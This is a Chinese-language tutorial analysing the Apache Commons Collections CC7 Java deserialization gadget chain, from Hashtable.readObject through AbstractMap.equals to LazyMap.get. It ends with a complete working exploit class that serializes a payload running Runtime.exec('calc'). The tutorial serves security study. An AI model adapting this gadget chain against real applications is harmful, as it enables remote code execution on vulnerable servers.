CC7
cc7与cc5大同小异,也是后面部分不变,变的只是入口的地方
CC7攻击链分析
思路分析
cc7这里的入口点使用了Hashtable
这里我们简单分析一下,入口类是Hashtable
的readObject
,调用本身的reconstitutionPut
方法,进入reconstitutionPut
看一下(这里我们不分析怎么找到的可以利用的点),这里我们要调用equals
方法,我们需要找到一个类的equals
方法可以利用
在AbstractMap.equals
中存在m.get
方法,就可以接上之前的LazyMap.get
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { { ...... reconstitutionPut(table, key, value); } } private void reconstitutionPut (Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException { ...... for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java .io.StreamCorruptedException(); } } ...... }
下面是这两个类的继承关系,后面的话会根据这两个地方进行做文章,因为逆向流程不太好讲,我们这里从正向开始分析
1 2 3 4 5 6 public class LazyMap extends AbstractMapDecorator public class HashMap <K,V> extends AbstractMap <K,V>
AbstractMapDecorator#equals
当我们在reconstitutionPut
中调用e.key.equals(key)
时,我们想让这里调用LazyMap.equals
,但实际上LazyMap
并不存在equals
方法,因此会找到他的父类AbstractMapDecorator
,调用它的equals
方法
并不是AbstractMapDecorator
的equals
有问题,而是当作一个桥梁去调用AbstractMap
的equals
方法
1 2 3 4 5 6 7 public boolean equals (Object object) { if (object == this ) { return true ; } return map.equals(object); }
AbstractMap#equals
在AbstractMapDecorator.equals
方法中,也调用了map.equals(object)
,这次这里我们想让他调用HashMap.equals
但因为HashMap
中没有equals
方法,会寻找它的父类AbstractMap
,调用父类的equals
方法,在该方法中存在m.get(key)
,可以调用LazyMap.get
方法,相信这里都不陌生了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public boolean equals (Object o) { ...... try { Iterator<Entry<K,V>> i = entrySet().iterator(); while (i.hasNext()) { Entry<K,V> e = i.next(); K key = e.getKey(); V value = e.getValue(); if (value == null ) { if (!(m.get(key)==null && m.containsKey(key))) return false ; } else { if (!value.equals(m.get(key))) return false ; } } ...... }
小结
最后顺一下,是要调用LazyMap
的equals
方法,然后LazyMap
中没有equals
方法,就会调用它的父类AbstractMapDecorator
的equals
方法,其中map.equals(object)
,m是我们一个HashMap
,但是HashMap
并没有equals
方法,所以还是找到其父类AbstractMap
,去调用他的equals
方法,从而调用LazyMap
的get
方法
调整
put两次
如果 Hashtable
中只有一个元素的话是不会走入判断的调用 equals
方法的,我们就可以通过 Hashtable
添加两个元素,第二个元素的我们传入一个我们构造的LazyMap对象
另一个是我们在最开始Hashtable.reconstitutionPut()方法中的必须hash相同(yso里面给出的是’yy’和’zZ’),也就是hash碰撞问题
应该是下面这段代码的原因,比较之前的参数的hash与当前参数的hash,相同才会走进&&后的判断
1 2 3 4 5 6 for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java .io.StreamCorruptedException(); } }
还有一个是我们 AbstractMap.equals()
中个数需要相同。
1 2 if (m.size() != size()) return false ;
在 map2 中remove掉 yy
这是因为 `HashTable.put()`
实际上也会调用到 `equals()`
方法:
当调用完 equals()
方法后,LazyMap2 的 key 中就会增加一个 yy 键:
put时弹计算器
虽然这不影响我们的序列化,但是总归是不好的,需要修改一下
最终EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 package com.review;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.AbstractMapDecorator;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.util.AbstractMap;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;public class CC7 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" ,new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (new Transformer []{}); Map hashMap1 = new HashMap (); Map hashMap2 = new HashMap (); Map lazyMap1 = LazyMap.decorate(hashMap1, chainedTransformer); lazyMap1.put("yy" , 1 ); Map lazyMap2 = LazyMap.decorate(hashMap2, chainedTransformer); lazyMap2.put("zZ" , 1 ); Hashtable hashtable = new Hashtable (); hashtable.put(lazyMap1, 1 ); hashtable.put(lazyMap2, 1 ); lazyMap2.remove("yy" ); Class<ChainedTransformer> chainedTransformerClass = ChainedTransformer.class; Field iTransformers = chainedTransformerClass.getDeclaredField("iTransformers" ); iTransformers.setAccessible(true ); iTransformers.set(chainedTransformer, transformers); serialize(hashtable); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }